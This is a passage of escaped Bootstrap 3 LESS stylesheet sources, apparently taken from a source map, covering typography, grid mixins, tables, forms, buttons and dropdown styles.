(Initially tried to also force default via `outline: initial`,\n // but that seems to erroneously remove the outline in Firefox altogether.)\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n.img-responsive(@display: block) {\n display: @display;\n max-width: 100%; // Part 1: Set a maximum relative to the parent\n height: auto; // Part 2: Scale the height according to the width, otherwise you get stretching\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size. Note that the\n// spelling of `min--moz-device-pixel-ratio` is intentional.\n.img-retina(@file-1x; @file-2x; @width-1x; @height-1x) {\n background-image: url(\"@{file-1x}\");\n\n @media\n only screen and (-webkit-min-device-pixel-ratio: 2),\n only screen and ( min--moz-device-pixel-ratio: 2),\n only screen and ( -o-min-device-pixel-ratio: 2/1),\n only screen and ( min-device-pixel-ratio: 2),\n only screen and ( min-resolution: 192dpi),\n only screen and ( min-resolution: 2dppx) {\n background-image: url(\"@{file-2x}\");\n background-size: @width-1x @height-1x;\n }\n}\n","//\n// Typography\n// --------------------------------------------------\n\n\n// Headings\n// -------------------------\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n font-family: @headings-font-family;\n font-weight: @headings-font-weight;\n line-height: @headings-line-height;\n color: @headings-color;\n\n small,\n .small {\n font-weight: normal;\n line-height: 1;\n color: @headings-small-color;\n }\n}\n\nh1, .h1,\nh2, .h2,\nh3, .h3 {\n margin-top: @line-height-computed;\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 65%;\n }\n}\nh4, .h4,\nh5, .h5,\nh6, .h6 {\n margin-top: (@line-height-computed / 2);\n margin-bottom: (@line-height-computed / 2);\n\n small,\n .small {\n font-size: 75%;\n }\n}\n\nh1, .h1 { font-size: @font-size-h1; }\nh2, .h2 { font-size: @font-size-h2; }\nh3, .h3 { font-size: @font-size-h3; }\nh4, .h4 { font-size: @font-size-h4; }\nh5, .h5 { font-size: @font-size-h5; }\nh6, .h6 { font-size: @font-size-h6; }\n\n\n// Body text\n// -------------------------\n\np {\n margin: 0 0 (@line-height-computed / 2);\n}\n\n.lead {\n margin-bottom: @line-height-computed;\n font-size: floor((@font-size-base * 1.15));\n font-weight: 300;\n line-height: 1.4;\n\n @media (min-width: @screen-sm-min) {\n font-size: (@font-size-base * 1.5);\n }\n}\n\n\n// Emphasis & misc\n// -------------------------\n\n// Ex: (12px small font / 14px base font) * 100% = about 85%\nsmall,\n.small {\n font-size: floor((100% * @font-size-small / @font-size-base));\n}\n\nmark,\n.mark {\n background-color: @state-warning-bg;\n padding: .2em;\n}\n\n// Alignment\n.text-left { text-align: left; }\n.text-right { text-align: right; }\n.text-center { text-align: center; }\n.text-justify { text-align: justify; }\n.text-nowrap { white-space: nowrap; }\n\n// Transformation\n.text-lowercase { text-transform: lowercase; }\n.text-uppercase { text-transform: uppercase; }\n.text-capitalize { text-transform: capitalize; }\n\n// Contextual colors\n.text-muted {\n color: @text-muted;\n}\n.text-primary {\n .text-emphasis-variant(@brand-primary);\n}\n.text-success {\n .text-emphasis-variant(@state-success-text);\n}\n.text-info {\n .text-emphasis-variant(@state-info-text);\n}\n.text-warning {\n .text-emphasis-variant(@state-warning-text);\n}\n.text-danger {\n .text-emphasis-variant(@state-danger-text);\n}\n\n// Contextual backgrounds\n// For now we'll leave these alongside the text classes until v4 when we can\n// safely shift things around (per SemVer rules).\n.bg-primary {\n // Given the contrast here, this is the only class to have its color inverted\n // automatically.\n color: #fff;\n .bg-variant(@brand-primary);\n}\n.bg-success {\n .bg-variant(@state-success-bg);\n}\n.bg-info {\n .bg-variant(@state-info-bg);\n}\n.bg-warning {\n .bg-variant(@state-warning-bg);\n}\n.bg-danger {\n .bg-variant(@state-danger-bg);\n}\n\n\n// Page header\n// -------------------------\n\n.page-header {\n padding-bottom: ((@line-height-computed / 2) - 1);\n margin: (@line-height-computed * 2) 0 @line-height-computed;\n border-bottom: 1px solid @page-header-border-color;\n}\n\n\n// Lists\n// -------------------------\n\n// Unordered and Ordered lists\nul,\nol {\n margin-top: 0;\n margin-bottom: (@line-height-computed / 2);\n ul,\n ol {\n margin-bottom: 0;\n }\n}\n\n// List options\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n .list-unstyled();\n margin-left: -5px;\n\n > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n }\n}\n\n// Description Lists\ndl {\n margin-top: 0; // Remove browser default\n margin-bottom: @line-height-computed;\n}\ndt,\ndd {\n line-height: @line-height-base;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0; // Undo browser default\n}\n\n// Horizontal description lists\n//\n// Defaults to being stacked without any of the below styles applied, until the\n// grid breakpoint is reached (default of ~768px).\n\n.dl-horizontal {\n dd {\n &:extend(.clearfix all); // Clear the floated `dt` if an empty `dd` is present\n }\n\n @media (min-width: @dl-horizontal-breakpoint) {\n dt {\n float: left;\n width: (@dl-horizontal-offset - 20);\n clear: left;\n text-align: right;\n .text-overflow();\n }\n dd {\n margin-left: @dl-horizontal-offset;\n }\n }\n}\n\n\n// Misc\n// -------------------------\n\n// Abbreviations and acronyms\nabbr[title],\n// Add data-* attribute to help out our tooltip plugin, per https://github.com/twbs/bootstrap/issues/5257\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted @abbr-border-color;\n}\n.initialism {\n font-size: 90%;\n .text-uppercase();\n}\n\n// Blockquotes\nblockquote {\n padding: (@line-height-computed / 2) @line-height-computed;\n margin: 0 0 @line-height-computed;\n font-size: @blockquote-font-size;\n border-left: 5px solid @blockquote-border-color;\n\n p,\n ul,\n ol {\n &:last-child {\n margin-bottom: 0;\n }\n }\n\n // Note: Deprecated small and .small as of v3.1.0\n // Context: https://github.com/twbs/bootstrap/issues/11660\n footer,\n small,\n .small {\n display: block;\n font-size: 80%; // back to default font-size\n line-height: @line-height-base;\n color: @blockquote-small-color;\n\n &:before {\n content: '\\2014 \\00A0'; // em dash, nbsp\n }\n }\n}\n\n// Opposite alignment of blockquote\n//\n// Heads up: `blockquote.pull-right` has been deprecated as of v3.1.0.\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid @blockquote-border-color;\n border-left: 0;\n text-align: right;\n\n // Account for citation\n footer,\n small,\n .small {\n &:before { content: ''; }\n &:after {\n content: '\\00A0 \\2014'; // nbsp, em dash\n }\n }\n}\n\n// Addresses\naddress {\n margin-bottom: @line-height-computed;\n font-style: normal;\n line-height: @line-height-base;\n}\n","// Typography\n\n.text-emphasis-variant(@color) {\n color: @color;\n a&:hover,\n a&:focus {\n color: darken(@color, 10%);\n }\n}\n","// Contextual backgrounds\n\n.bg-variant(@color) {\n background-color: @color;\n a&:hover,\n a&:focus {\n background-color: darken(@color, 10%);\n }\n}\n","// Text overflow\n// Requires inline-block or block for proper styling\n\n.text-overflow() {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n","//\n// Code (inline and block)\n// --------------------------------------------------\n\n\n// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n font-family: @font-family-monospace;\n}\n\n// Inline code\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: @code-color;\n background-color: @code-bg;\n border-radius: @border-radius-base;\n}\n\n// User input typically entered via keyboard\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: @kbd-color;\n background-color: @kbd-bg;\n border-radius: @border-radius-small;\n box-shadow: inset 0 -1px 0 rgba(0,0,0,.25);\n\n kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n }\n}\n\n// Blocks of code\npre {\n display: block;\n padding: ((@line-height-computed - 1) / 2);\n margin: 0 0 (@line-height-computed / 2);\n font-size: (@font-size-base - 1); // 14px to 13px\n line-height: @line-height-base;\n word-break: break-all;\n word-wrap: break-word;\n color: @pre-color;\n background-color: @pre-bg;\n border: 1px solid @pre-border-color;\n border-radius: @border-radius-base;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n max-height: @pre-scrollable-max-height;\n overflow-y: scroll;\n}\n","//\n// Grid system\n// --------------------------------------------------\n\n\n// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n.container {\n .container-fixed();\n\n @media (min-width: @screen-sm-min) {\n width: @container-sm;\n }\n @media (min-width: @screen-md-min) {\n width: @container-md;\n }\n @media (min-width: @screen-lg-min) {\n width: @container-lg;\n }\n}\n\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but without any defined\n// width for fluid, full width layouts.\n\n.container-fluid {\n .container-fixed();\n}\n\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n.row {\n .make-row();\n}\n\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n.make-grid-columns();\n\n\n// Extra small grid\n//\n// Columns, offsets, pushes, and pulls for extra small devices like\n// smartphones.\n\n.make-grid(xs);\n\n\n// Small grid\n//\n// Columns, offsets, pushes, and pulls for the small device range, from phones\n// to tablets.\n\n@media (min-width: @screen-sm-min) {\n .make-grid(sm);\n}\n\n\n// Medium grid\n//\n// Columns, offsets, pushes, and pulls for the desktop device range.\n\n@media (min-width: @screen-md-min) {\n .make-grid(md);\n}\n\n\n// Large grid\n//\n// Columns, offsets, pushes, and pulls for the large desktop device range.\n\n@media (min-width: @screen-lg-min) {\n .make-grid(lg);\n}\n","// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n// Centered container element\n.container-fixed(@gutter: @grid-gutter-width) {\n margin-right: auto;\n margin-left: auto;\n padding-left: floor((@gutter / 2));\n padding-right: ceil((@gutter / 2));\n &:extend(.clearfix all);\n}\n\n// Creates a wrapper for a series of columns\n.make-row(@gutter: @grid-gutter-width) {\n margin-left: ceil((@gutter / -2));\n margin-right: floor((@gutter / -2));\n &:extend(.clearfix all);\n}\n\n// Generate the extra small columns\n.make-xs-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n float: left;\n width: percentage((@columns / @grid-columns));\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n}\n.make-xs-column-offset(@columns) {\n margin-left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-push(@columns) {\n left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-pull(@columns) {\n right: percentage((@columns / @grid-columns));\n}\n\n// Generate the small columns\n.make-sm-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-sm-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-offset(@columns) {\n @media (min-width: @screen-sm-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-push(@columns) {\n @media (min-width: @screen-sm-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-pull(@columns) {\n @media (min-width: @screen-sm-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the medium columns\n.make-md-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-md-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-offset(@columns) {\n @media (min-width: @screen-md-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-push(@columns) {\n @media (min-width: @screen-md-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-pull(@columns) {\n @media (min-width: @screen-md-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the large columns\n.make-lg-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-lg-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-offset(@columns) {\n @media (min-width: @screen-lg-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-push(@columns) {\n @media (min-width: @screen-lg-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-pull(@columns) {\n @media (min-width: @screen-lg-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `@grid-columns`.\n\n.make-grid-columns() {\n // Common styles for all sizes of grid columns, widths 1-12\n .col(@index) { // initial\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general; \"=<\" isn't a typo\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n position: relative;\n // Prevent columns from collapsing when empty\n min-height: 1px;\n // Inner gutter via padding\n padding-left: ceil((@grid-gutter-width / 2));\n padding-right: floor((@grid-gutter-width / 2));\n }\n }\n .col(1); // kickstart it\n}\n\n.float-grid-columns(@class) {\n .col(@index) { // initial\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n float: left;\n }\n }\n .col(1); // kickstart it\n}\n\n.calc-grid-column(@index, @class, @type) when (@type = width) and (@index > 0) {\n .col-@{class}-@{index} {\n width: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index > 0) {\n .col-@{class}-push-@{index} {\n left: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index = 0) {\n .col-@{class}-push-0 {\n left: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index > 0) {\n .col-@{class}-pull-@{index} {\n right: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index = 0) {\n .col-@{class}-pull-0 {\n right: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = offset) {\n .col-@{class}-offset-@{index} {\n margin-left: percentage((@index / @grid-columns));\n }\n}\n\n// Basic looping in LESS\n.loop-grid-columns(@index, @class, @type) when (@index >= 0) {\n .calc-grid-column(@index, @class, @type);\n // next iteration\n .loop-grid-columns((@index - 1), @class, @type);\n}\n\n// Create grid for specific class\n.make-grid(@class) {\n .float-grid-columns(@class);\n .loop-grid-columns(@grid-columns, @class, width);\n .loop-grid-columns(@grid-columns, @class, pull);\n .loop-grid-columns(@grid-columns, @class, push);\n .loop-grid-columns(@grid-columns, @class, offset);\n}\n","//\n// Tables\n// --------------------------------------------------\n\n\ntable {\n background-color: @table-bg;\n}\ncaption {\n padding-top: @table-cell-padding;\n padding-bottom: @table-cell-padding;\n color: @text-muted;\n text-align: left;\n}\nth {\n text-align: left;\n}\n\n\n// Baseline styles\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: @line-height-computed;\n // Cells\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-cell-padding;\n line-height: @line-height-base;\n vertical-align: top;\n border-top: 1px solid @table-border-color;\n }\n }\n }\n // Bottom align for column headings\n > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid @table-border-color;\n }\n // Remove top border from thead by default\n > caption + thead,\n > colgroup + thead,\n > thead:first-child {\n > tr:first-child {\n > th,\n > td {\n border-top: 0;\n }\n }\n }\n // Account for multiple tbody instances\n > tbody + tbody {\n border-top: 2px solid @table-border-color;\n }\n\n // Nesting\n .table {\n background-color: @body-bg;\n }\n}\n\n\n// Condensed table w/ half padding\n\n.table-condensed {\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-condensed-cell-padding;\n }\n }\n }\n}\n\n\n// Bordered version\n//\n// Add borders all around the table and between all the columns.\n\n.table-bordered {\n border: 1px solid @table-border-color;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n border: 1px solid @table-border-color;\n }\n }\n }\n > thead > tr {\n > th,\n > td {\n border-bottom-width: 2px;\n }\n }\n}\n\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n > tbody > tr:nth-of-type(odd) {\n background-color: @table-bg-accent;\n }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n > tbody > tr:hover {\n background-color: @table-bg-hover;\n }\n}\n\n\n// Table cell sizing\n//\n// Reset default table behavior\n\ntable col[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-column;\n}\ntable {\n td,\n th {\n &[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-cell;\n }\n }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n// Generate the contextual variants\n.table-row-variant(active; @table-bg-active);\n.table-row-variant(success; @state-success-bg);\n.table-row-variant(info; @state-info-bg);\n.table-row-variant(warning; @state-warning-bg);\n.table-row-variant(danger; @state-danger-bg);\n\n\n// Responsive tables\n//\n// Wrap your tables in `.table-responsive` and we'll make them mobile friendly\n// by enabling horizontal scrolling. Only applies <768px. Everything above that\n// will display normally.\n\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%; // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)\n\n @media screen and (max-width: @screen-xs-max) {\n width: 100%;\n margin-bottom: (@line-height-computed * 0.75);\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid @table-border-color;\n\n // Tighten up spacing\n > .table {\n margin-bottom: 0;\n\n // Ensure the content doesn't wrap\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n white-space: nowrap;\n }\n }\n }\n }\n\n // Special overrides for the bordered tables\n > .table-bordered {\n border: 0;\n\n // Nuke the appropriate borders so that the parent can handle them\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n\n // Only nuke the last row's bottom-border in `tbody` and `tfoot` since\n // chances are there will be only one `tr` in a `thead` and that would\n // remove the border altogether.\n > tbody,\n > tfoot {\n > tr:last-child {\n > th,\n > td {\n border-bottom: 0;\n }\n }\n }\n\n }\n }\n}\n","// Tables\n\n.table-row-variant(@state; @background) {\n // Exact selectors below required to override `.table-striped` and prevent\n // inheritance to nested tables.\n .table > thead > tr,\n .table > tbody > tr,\n .table > tfoot > tr {\n > td.@{state},\n > th.@{state},\n &.@{state} > td,\n &.@{state} > th {\n background-color: @background;\n }\n }\n\n // Hover states for `.table-hover`\n // Note: this is not available for cells or rows within `thead` or `tfoot`.\n .table-hover > tbody > tr {\n > td.@{state}:hover,\n > th.@{state}:hover,\n &.@{state}:hover > td,\n &:hover > .@{state},\n &.@{state}:hover > th {\n background-color: darken(@background, 5%);\n }\n }\n}\n","//\n// Forms\n// --------------------------------------------------\n\n\n// Normalize non-controls\n//\n// Restyle and baseline non-control form elements.\n\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n // Chrome and Firefox set a `min-width: min-content;` on fieldsets,\n // so we reset that to ensure it behaves more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359.\n min-width: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: @line-height-computed;\n font-size: (@font-size-base * 1.5);\n line-height: inherit;\n color: @legend-color;\n border: 0;\n border-bottom: 1px solid @legend-border-color;\n}\n\nlabel {\n display: inline-block;\n max-width: 100%; // Force IE8 to wrap long content (see https://github.com/twbs/bootstrap/issues/13141)\n margin-bottom: 5px;\n font-weight: bold;\n}\n\n\n// Normalize form controls\n//\n// While most of our form styles require extra classes, some basic normalization\n// is required to ensure optimum display with or without those classes to better\n// address browser inconsistencies.\n\n// Override content-box in Normalize (* isn't specific enough)\ninput[type=\"search\"] {\n .box-sizing(border-box);\n}\n\n// Position radios and checkboxes better\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9; // IE8-9\n line-height: normal;\n}\n\ninput[type=\"file\"] {\n display: block;\n}\n\n// Make range inputs behave like textual form controls\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\n\n// Make multiple select elements height not fixed\nselect[multiple],\nselect[size] {\n height: auto;\n}\n\n// Focus for file, radio, and checkbox\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n .tab-focus();\n}\n\n// Adjust output element\noutput {\n display: block;\n padding-top: (@padding-base-vertical + 1);\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n}\n\n\n// Common form controls\n//\n// Shared size and type resets for form controls. Apply `.form-control` to any\n// of the following form controls:\n//\n// select\n// textarea\n// input[type=\"text\"]\n// input[type=\"password\"]\n// input[type=\"datetime\"]\n// input[type=\"datetime-local\"]\n// input[type=\"date\"]\n// input[type=\"month\"]\n// input[type=\"time\"]\n// input[type=\"week\"]\n// input[type=\"number\"]\n// input[type=\"email\"]\n// input[type=\"url\"]\n// input[type=\"search\"]\n// input[type=\"tel\"]\n// input[type=\"color\"]\n\n.form-control {\n display: block;\n width: 100%;\n height: @input-height-base; // Make inputs at least the height of their button counterpart (base line-height + padding + border)\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n background-color: @input-bg;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid @input-border;\n border-radius: @input-border-radius; // Note: This has no effect on s in CSS.\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));\n .transition(~\"border-color ease-in-out .15s, box-shadow ease-in-out .15s\");\n\n // Customize the `:focus` state to imitate native WebKit styles.\n .form-control-focus();\n\n // Placeholder\n .placeholder();\n\n // Unstyle the caret on ``\n// element gets special love because it's special, and that's a fact!\n.input-size(@input-height; @padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n height: @input-height;\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n\n select& {\n height: @input-height;\n line-height: @input-height;\n }\n\n textarea&,\n select[multiple]& {\n height: auto;\n }\n}\n","//\n// Buttons\n// --------------------------------------------------\n\n\n// Base styles\n// --------------------------------------------------\n\n.btn {\n display: inline-block;\n margin-bottom: 0; // For input.btn\n font-weight: @btn-font-weight;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n white-space: nowrap;\n .button-size(@padding-base-vertical; @padding-base-horizontal; @font-size-base; @line-height-base; @btn-border-radius-base);\n .user-select(none);\n\n &,\n &:active,\n &.active {\n &:focus,\n &.focus {\n .tab-focus();\n }\n }\n\n &:hover,\n &:focus,\n &.focus {\n color: @btn-default-color;\n text-decoration: none;\n }\n\n &:active,\n &.active {\n outline: 0;\n background-image: none;\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n .opacity(.65);\n .box-shadow(none);\n }\n\n a& {\n &.disabled,\n fieldset[disabled] & {\n pointer-events: none; // Future-proof disabling of clicks on `` elements\n }\n }\n}\n\n\n// Alternate buttons\n// --------------------------------------------------\n\n.btn-default {\n .button-variant(@btn-default-color; @btn-default-bg; @btn-default-border);\n}\n.btn-primary {\n .button-variant(@btn-primary-color; @btn-primary-bg; @btn-primary-border);\n}\n// Success appears as green\n.btn-success {\n .button-variant(@btn-success-color; @btn-success-bg; @btn-success-border);\n}\n// Info appears as blue-green\n.btn-info {\n .button-variant(@btn-info-color; @btn-info-bg; @btn-info-border);\n}\n// Warning appears as orange\n.btn-warning {\n .button-variant(@btn-warning-color; @btn-warning-bg; @btn-warning-border);\n}\n// Danger and error appear as red\n.btn-danger {\n .button-variant(@btn-danger-color; @btn-danger-bg; @btn-danger-border);\n}\n\n\n// Link buttons\n// -------------------------\n\n// Make a button look and behave like a link\n.btn-link {\n color: @link-color;\n font-weight: normal;\n border-radius: 0;\n\n &,\n &:active,\n &.active,\n &[disabled],\n fieldset[disabled] & {\n background-color: transparent;\n .box-shadow(none);\n }\n &,\n &:hover,\n &:focus,\n &:active {\n border-color: transparent;\n }\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n background-color: transparent;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @btn-link-disabled-color;\n text-decoration: none;\n }\n }\n}\n\n\n// Button Sizes\n// --------------------------------------------------\n\n.btn-lg {\n // line-height: ensure even-numbered height of button next to large input\n .button-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @btn-border-radius-large);\n}\n.btn-sm {\n // line-height: ensure proper height of button next to small input\n .button-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n.btn-xs {\n .button-size(@padding-xs-vertical; @padding-xs-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n\n\n// Block button\n// --------------------------------------------------\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n// Vertically space out multiple block buttons\n.btn-block + .btn-block {\n margin-top: 5px;\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n &.btn-block {\n width: 100%;\n }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n.button-variant(@color; @background; @border) {\n color: @color;\n background-color: @background;\n border-color: @border;\n\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 25%);\n }\n &:hover {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n\n &:hover,\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 17%);\n border-color: darken(@border, 25%);\n }\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n background-image: none;\n }\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus,\n &.focus {\n background-color: @background;\n border-color: @border;\n }\n }\n\n .badge {\n color: @background;\n background-color: @color;\n }\n}\n\n// Button sizes\n.button-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n}\n","// Opacity\n\n.opacity(@opacity) {\n opacity: @opacity;\n // IE8 filter\n @opacity-ie: (@opacity * 100);\n filter: ~\"alpha(opacity=@{opacity-ie})\";\n}\n","//\n// Component animations\n// --------------------------------------------------\n\n// Heads up!\n//\n// We don't use the `.opacity()` mixin here since it causes a bug with text\n// fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552.\n\n.fade {\n opacity: 0;\n .transition(opacity .15s linear);\n &.in {\n opacity: 1;\n }\n}\n\n.collapse {\n display: none;\n\n &.in { display: block; }\n tr&.in { display: table-row; }\n tbody&.in { display: table-row-group; }\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n .transition-property(~\"height, visibility\");\n .transition-duration(.35s);\n .transition-timing-function(ease);\n}\n","//\n// Dropdown menus\n// --------------------------------------------------\n\n\n// Dropdown arrow/caret\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: @caret-width-base dashed;\n border-top: @caret-width-base solid ~\"\\9\"; // IE8\n border-right: @caret-width-base solid transparent;\n border-left: @caret-width-base solid transparent;\n}\n\n// The dropdown wrapper (div)\n.dropup,\n.dropdown {\n position: relative;\n}\n\n// Prevent the focus on the dropdown toggle when closing dropdowns\n.dropdown-toggle:focus {\n outline: 0;\n}\n\n// The dropdown menu (ul)\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: @zindex-dropdown;\n display: none; // none by default, but block on \"open\" of the menu\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0; // override default ul\n list-style: none;\n font-size: @font-size-base;\n text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n background-color: @dropdown-bg;\n border: 1px solid @dropdown-fallback-border; // IE8 fallback\n border: 1px solid @dropdown-border;\n border-radius: @border-radius-base;\n .box-shadow(0 6px 12px rgba(0,0,0,.175));\n background-clip: padding-box;\n\n // Aligns the dropdown menu to right\n //\n // Deprecated as of 3.1.0 in favor of 